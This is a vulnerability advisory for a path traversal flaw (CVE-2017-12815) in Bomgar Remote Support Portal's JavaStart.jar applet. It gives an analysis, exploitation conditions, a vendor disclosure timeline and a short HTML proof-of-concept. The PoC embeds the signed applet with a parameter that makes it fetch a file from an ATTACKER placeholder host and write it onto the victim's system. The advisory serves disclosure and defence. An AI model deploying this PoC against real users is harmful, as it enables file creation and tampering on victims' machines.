Bomgar Remote Support Portal (RSP) Path Traversal

🗓️ 23 Mar 2018 00:00:00Reported by Filip PalianType

packetstorm🔗 packetstormsecurity.com👁 111 Views

Bomgar RSP Path Traversal vulnerability in JavaStart.jar applet allows file manipulation by user visitng attacker's websit

Reporter	Title	Published	Views	Family All 8
0day.today	Bomgar Remote Support Portal JavaStart Applet <= 52970 - Path Traversal Vulnerability	3 Apr 201800:00	–	zdt
ATTACKERKB	CVE-2017-12815	26 Mar 201821:29	–	attackerkb
CNVD	Bomgar Remote Support Portal JavaStart.jar Applet Path Traversal Vulnerability	28 Mar 201800:00	–	cnvd
CVE	CVE-2017-12815	26 Mar 201821:00	–	cve
Cvelist	CVE-2017-12815	26 Mar 201821:00	–	cvelist
EUVD	EUVD-2017-4352	7 Oct 202500:30	–	euvd
NVD	CVE-2017-12815	26 Mar 201821:29	–	nvd
Prion	Path traversal	26 Mar 201821:29	–	prion

`Hey,  
  
The Path Traversal vulnerability was found in the component of the Bomgar  
Remote Support Portal (RSP) [1]. The affected component is a JavaStart.jar  
applet that is hosted at https://TARGET/api/content/JavaStart.jar on the  
vulnerable RSP deployments. The JavaStart version 52970 and prior were  
confirmed to be vulnerable.  
  
Analysis of the applet revealed that App.class suffers from a Path  
Traversal vulnerability. The vulnerable class makes a call to a File()  
constructor and uses the value specified in the "url" parameter as an  
argument. The "url" parameter is specified in the <PARAM NAME> HTML tag  
which passes arguments to applets embedded on web sites using an <APPLET>  
HTML tag, in this case JavaStart.jar applet.  
  
Successful exploitation results in the creation/modification/deletion of  
files with the privilege of the user who runs the Java applet. In order to  
exploit this vulnerability a victim would have to visit the attacker's  
controlled website and allow the Java applet to execute.  
  
It may be argued that the Path Traversal is not an issue in this case  
because the victim has to download and run unknown code. While this is  
usually correct, one needs to consider that anyone can embed the  
JavaStart.jar applet on their website, while the applet can be hosted on a  
legitimate/trustworthy location (i.e. for successful exploitation attacker  
needs to control the <PARAM NAME>, not the contents of the archive or the  
domain it is hosted at). Additonaly, the applet will be digitally signed  
by a trustworthy organisation. Last but not least, the purpose of the  
applet itself makes it easy to convince/trick users.  
  
The final impact of the vulnerability heavily depends on additional  
factors, such as operating system, web browser and its settings, Java  
settings, user privileges running the applet etc. The vulnerability was  
successfully executed on Windows 7 running IE 11 with its default  
configuration. On Mac OS Sierra running Safari 10.1, the Java restrictions  
prevented traversing outside of the temp/sandbox directory.  
  
The PoC exploiting this vulnerability is included below:  
--  
$ cat > page.html << EOF  
<html><body>  
<applet code="com.bomgar.javastart.App.class"  
archive="https://TARGET/api/content/JavaStart.jar">  
<PARAM NAME="url" VALUE="http://ATTACKER/FILE_TO_WRITE">  
</applet>  
</body></html>  
EOF  
--  
  
Contact vendor for remediation details.  
  
Timeline:  
11.08.2017: Initial contact email sent to [email protected] with information  
about the vulnerability.  
11.08.2017: Notification sent to vendor that CVE-2017-12815 has been  
assigned for this vulnerability by MITRE.  
16.08.2017: No vendor response. Request sent to the vendor asking to  
confirm they received previous email communication.  
16.08.2017: Bomgar's Product Management team responded to the request and  
information about the vulnerability was re-sent.  
18.08.2017: Vendor confirms receving the information about the  
vulnerability and informs that the development team is looking  
into the issue.  
26.08.2017: Vendor provides a status update and conclusions from the  
performed analysis. Vendor plans to remove the capability of  
the appliance to communicate with JavaStart.jar, to promote its  
disuse as well as removing it from customer appliances in an  
upcoming release.  
26.08.2017: Asked vendor when the fixed version of their product will be  
released and if they are interested in coordinating the  
advisory release.  
09.09.2017: Vendor provides a status update and informs the new release is  
planned to be released in October 2017.  
19.11.2017: No vendor response. Request for a status update.  
10.02.2018: No vendor response. Notifying vendor about the planned advisory  
release.  
11.02.2018: Vendor requests the draft of the advisory.  
20.03.2018: Advisory draft sent to the vendor for review along with  
information about the planned release on 22.03.2018.  
21.03.2018: Vendor requests minor updates to the timeline and .  
23.03.2018: The advisory is released.  
  
References:  
[1] https://www.bomgar.com/remote-support/features/support-portals  
  
Acknowledgments:  
- Jonas Outlaw (Bomgar)  
- Keith Kerr (Telstra)  
  
  
Thanks,  
Filip Palian  
`

23 Mar 2018 00:00Current

9.3High risk

Vulners AI Score9.3

EPSS0.00493